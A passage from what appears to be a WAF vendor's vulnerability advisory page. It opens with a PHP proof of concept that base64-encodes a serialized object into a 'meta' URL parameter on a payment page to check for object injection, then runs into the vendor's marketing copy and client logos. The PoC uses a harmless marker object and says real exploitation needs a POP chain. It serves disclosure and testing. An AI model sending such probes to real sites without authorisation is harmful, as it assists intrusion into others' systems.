$payment_page = '/payment/'; // Path to a page using the vulnerable template

// Craft a serialized object. For demonstration, we use a simple stdClass object.
// In a real attack, this would be a class with a __wakeup or __destruct method.
$payload_object = new stdClass();
$payload_object->injected = 'Atomic Edge PoC';
$serialized = serialize($payload_object);
$encoded = base64_encode($serialized);

// Build the malicious URL
$attack_url = $target_url . $payment_page . '?meta=' . urlencode($encoded);

echo "[*] Sending payload to: $attack_urln";

// Send the request
$ch = curl_init($attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] HTTP Status: $http_coden";
if (strpos($response, 'Atomic Edge PoC') !== false) {
    echo "[!] Object injection confirmed: payload reflected or processed.n";
} else {
    echo "[-] Payload may not have been processed (or page structure differs).n";
}

// Note: This PoC demonstrates the injection point. Actual exploitation requires a POP chain.

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.